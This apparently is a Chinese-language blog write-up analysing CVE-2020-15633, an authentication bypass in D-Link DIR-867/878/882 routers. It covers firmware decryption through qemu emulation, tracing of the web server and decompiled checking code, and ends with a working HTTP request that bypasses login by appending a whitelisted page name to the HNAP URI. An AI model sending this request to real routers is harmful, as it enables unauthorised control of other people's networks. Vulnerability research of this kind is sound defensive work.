OneShell

I fight for a brighter tomorrow

0%

CVE-2020-15633 dir-878中strstr导致的登录认证绕过

漏洞基本信息

该漏洞是发生在LAN口的一个登录认证绕过漏洞,影响设备DIR-867、DIR-878、DIR-882,固件版本1.20B10_BETA。漏洞产生的原因是在处理HNAP请求的过程中,验证用户登录逻辑时处理不当,使用strstr函数来检查无需验证权限的接口,导致可以构造特定URI来绕过身份认证,从而访问敏感接口。

1
This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of D-Link DIR-867, DIR-878, and DIR-882 routers with firmware 1.20B10_BETA. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of HNAP requests. The issue results from incorrect string matching logic when accessing protected pages. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of the router. Was ZDI-CAN-10835.

漏洞分析

分析该漏洞使用了设备DIR-878,固件版本1.20B05,固件下载链接:files.dlink.com.au - /products/DIR-878/REV_A/Firmware/

固件获取及解密

该固件是存在加密的,没有办法使用binwalk直接进行解密。一般来说,总是存在最近的一个中间未加密版本固件,随后的一个版本升级才是加密固件,此时可以根据中间版本中的程序获取到固件的加解密逻辑。解密逻辑就是按照时间顺序,下载所有的固件,找到最后一个未加密的固件,并对其进行分析。

根据设备DIR-878的历史固件描述来看,猜测该中间版本是如下的FW104B05 Middleware.bin,实际上也的确如此。
undifined

使用binwalk解压后获取到文件系统,一般可以尝试搜索带有decrypt、encrypt这类的程序,如果找不到再继续全局搜索字符串decrypt、encrypt。这个地方直接全局搜索字符串就定位到了可能的固件解密程序:

1
2
$ grep -r "decrypt" 
Binary file ./bin/imgdecrypt matches

光这样或许还不能确定程序/bin/imgdecrypt是负责固件解密的,进一步继续以该程序名搜索字符串,看哪些其他程序调用了它,以及调用的命令是什么:

1
2
3
4
5
$ grep -r "imgdecrypt"
Binary file ./bin/prog.cgi matches

$ strings ./bin/prog.cgi | grep "imgdecrypt"
/bin/imgdecrypt /tmp/firmware.img

这样基本上就可以确认,这个/bin/imgdecrypt是负责对固件进行解密的了,随后尝试使用qemu运行该程序对固件进行解密

使用qemu-mipsel进行用户级的仿真即可,可以看到usage是直接对固件进行解密。

1
2
$ sudo qemu-mipsel-static -L ./ ./bin/imgdecrypt
./bin/imgdecrypt <sourceFile>

解密前无法使用binwalk查看到固件信息:

1
2
3
4
5
6
7
8
9
$ binwalk -M ~/tmp/DIR_878_FW120B05.bin

Scan Time: 2023-09-12 17:54:02
Target File: /home/oneshell/tmp/DIR_878_FW120B05.bin
MD5 Checksum: 2f8e4eb7a3310da97cf9440caf084cd5
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------

解密后可以使用binwalk查看到固件信息,注意解密后固件的权限是root账号所有,后续的查看、解压固件都需要使用root权限或者先修改固件权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sudo qemu-mipsel-static -L ./ ./bin/imgdecrypt ~/tmp/DIR_878_FW120B05.bin
key:C05FBF1936C99429CE2A0781F08D6AD8

$ sudo binwalk -M ~/tmp/DIR_878_FW120B05.bin

Scan Time: 2023-09-12 17:58:22
Target File: /home/oneshell/tmp/DIR_878_FW120B05.bin
MD5 Checksum: 07d4fdc93ad1d270c06e1c924ee26b83
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC: 0x4934CFEF, created: 2019-05-16 07:14:42, image size: 11181071 bytes, Data Address: 0x81001000, Entry Point: 0x815FF440, data CRC: 0xA1B3FF3A, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
160 0xA0 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 16562624 bytes

如上,固件已经被成功解密了。但是这种解密依赖于后续的加密方式都是相同的,如果在中间版本采用了新的加密方式,那么还需要依次去对中间版本的解密逻辑进行分析。

架构分析

首先是通过分析启动项来确定webserver是什么,以及请求是怎么进行处理的。一般的方式是直接搜索常见的webserver程序名,例如lighttpd、goahead、boa、mini_httpd等等,找到相关的启动脚本或启动程序,然后一步步分析启动逻辑。此处也是这样分析到如下的启动逻辑。

  1. 启动脚本/etc_ro/rcS执行程序init_system

    1
    init_system start
  2. init_system调用lighttpd,在此之前还会启动nvram相关一些进程

    1
    do_system("lighttpd -f /etc_ro/lighttpd/lighttpd.conf -m /etc_ro/lighttpd/lib");
  3. 分析lighttpd配置文件。lighttpd给我的感觉类似于nginx,只负责对相关的流量进行转发,会定义相关的路由以及处理程序。根据配置文件,可以定位到发生在路由/HNAP1/的请求全部是由程序/bin/prog.cgi进行处理的。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    fastcgi.server = ( 
    "/HNAP1/" =>
    ((
    "socket" => "/var/prog.fcgi.socket-0",
    "check-local" => "enable",
    "bin-path" => "/bin/prog.cgi",
    "idle-timeout" => 10,
    "min-procs" => 1,
    "max-procs" => 1
    )),
    ......

接下来就是去逆向程序/bin/prog.cgi,在逆向的过程中,发现该程序可能是基于goahead更改的,因为它的一些函数命名、调用方式和goahead源码非常类似,例如在地址00429B64处,就有类似于goahead中如何对请求路径进行处理的回调函数的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int HandlersDefine()
{
......
websSetDefaultDir(v1);
websSetHost(v2);
set_httpd_timeout();
websOpenServer();
trace(0, "websOpenServer \n");
websUrlHandlerDefine("/", 0, 0, websSecurityHandler, 1);
websUrlHandlerDefine("/HNAP1/", 0, 0, websFormHandler, 0);
websUrlHandlerDefine("/cgi-bin", 0, 0, websCgiHandler, 0);
websUrlHandlerDefine(&unk_4B4FFC, 0, 0, websDefaultHandler, 2);
trace(0, "websUrlHandlerDefine cgi-bin\n");
ModuleInitUtils();
ModuleInitMangement();
ModuleInitNetwork();
......
}

按照goahead的特性来看的话,它对于每一个请求都会先调用websSecurityHandler进行鉴权,只有当鉴权通过才会继续进入到随后相应的回调函数中进行处理。因此,对于goahead作为webserver的设备中,寻找认证绕过就要去仔细看websSecurityHandler这个函数。

漏洞触发

这篇文章的目的是进行漏洞分析,而不是漏洞挖掘,因此很多逻辑都是先通过漏洞信息大概推理出调用流程,然后再正向整理出来这个流程。这个地方直接给出结论发生漏洞的地方在地址00423ECC处的函数。
在函数sub_423ECC中,会比较环境变量REQUEST_URI(也就是请求路径)中是否含有字符串列表actions_list中的字符串,然后触发到return 0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall sub_423ECC(_DWORD *a1)
{
......
if ( a1[57] )
{
for ( index = 0; index < 0xB; ++index )
{
snprintf(v3, 1024, "%s%s", "http://purenetworks.com/HNAP1/", &actions_list[32 * index]);
snprintf(soap_action, 1024, "\"%s%s\"", "http://purenetworks.com/HNAP1/", &actions_list[32 * index]);
if ( a1[57] && strstr(a1[57], &actions_list[32 * index]) )// REQUEST_URI
{
if ( strcmp(&actions_list[32 * index], "/HNAP1/") || !a1[50] || strcmp(a1[50], "POST") )
return 0;
}
else if ( a1[53] && (!strcmp(a1[53], v3) || !strcmp(a1[53], soap_action)) )// HTTP_SOAPACTION
{
return 0;
}
}
}
......

字符串列表的值如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.data:004D01A0 actions_list:   .ascii "GetCAPTCHAsetting"<0>
.data:004D01A0 # DATA XREF: sub_423ECC+D8↑o
.data:004D01A0 # sub_423ECC+12C↑o ...
.data:004D01B2 .align 4
.data:004D01C0 aGetdevicesetti_3:.ascii "GetDeviceSettings"<0>
.data:004D01D2 .align 4
.data:004D01E0 aBlockedpageHtm:.ascii "blockedPage.html"<0>
.data:004D01F1 .align 4
.data:004D0200 aMobileloginHtm:.ascii "MobileLogin.html"<0>
.data:004D0211 .align 4
.data:004D0220 aLoginHtml: .ascii "Login.html"<0>
.data:004D022B .align 5
.data:004D0240 aEulaHtml: .ascii "EULA.html"<0>
.data:004D024A .align 5
.data:004D0260 aIndexHtml_2: .ascii "Index.html"<0>
.data:004D026B .align 5
.data:004D0280 aWizardHtml: .ascii "Wizard.html"<0>
.data:004D028C .align 5
.data:004D02A0 aHnap1_5: .ascii "/HNAP1/"<0>
.data:004D02A8 .align 5
.data:004D02C0 aEulaTermHtml: .ascii "EULA_Term.html"<0>
.data:004D02CF .align 5
.data:004D02E0 aEulaPrivacyHtm:.ascii "EULA_Privacy.html"<0>
.data:004D02F2 .align 4

然后返回到函数sub_4249EC,触发该函数继续返回0;再返回到函数websSecurityHandler中,使得该认证函数返回0。认证过程的调用链整理出来如下:

1
2
3
sub_423ECC -> 0
sub_4249EC -> 0
websSecurityHandler -> 0

在goahead源码中,函数webSecurityHandler设置返回值为1时,都是和错误代码紧密相连的,如下是两个代码片段。变量nRet会在函数初始化时设置为0,当出现错误的时候,设置为1。因此,可以确定当函数webSecurityHandler函数返回0时,是代表认证通过。

1
2
3
4
5
6
7
websStats.access++;
websError(wp, 404, T("Page Not Found"));
nRet = 1;

websError(wp, 401, T("Access Denied\nUnknown User"));
trace(3, T("SEC: Unknown user <%s> attempted to access <%s>\n"), userid, path);
nRet = 1;

综上所述,对于路由/HNAP1/,只需要在uri后添加?GetCAPTCHAsetting或者任意其他字符串列表的中字符串,就可以达到认证绕过访问该接口的目的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /HNAP1/?Login.html HTTP/1.1
Host: 192.168.0.1
Content-Length: 302
Accept: */*
X-Requested-With: XMLHttpRequest
HNAP_AUTH: 00DAB25BFD3EBF8FAD03E60E5616BF44 1598580346156
SOAPAction: "http://purenetworks.com/HNAP1/GetIPv6Status"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/Home.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uid=uFXfaJBA
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetIPv6Status xmlns="http://purenetworks.com/HNAP1/" /></soap:Body></soap:Envelope>

小结

在分析该漏洞的过程中,先通过寻找中间未加密固件的方式,对存在漏洞的加密固件进行了解密;然后通过启动项分析定位webserver,分析配置文件梳理路由请求逻辑得到处理程序prog.cgi;最后发现prog.cgi类似goahead,根据之前对goahead认证处理的了解定位到认证逻辑,并分析漏洞的认证绕过流程。

参考链接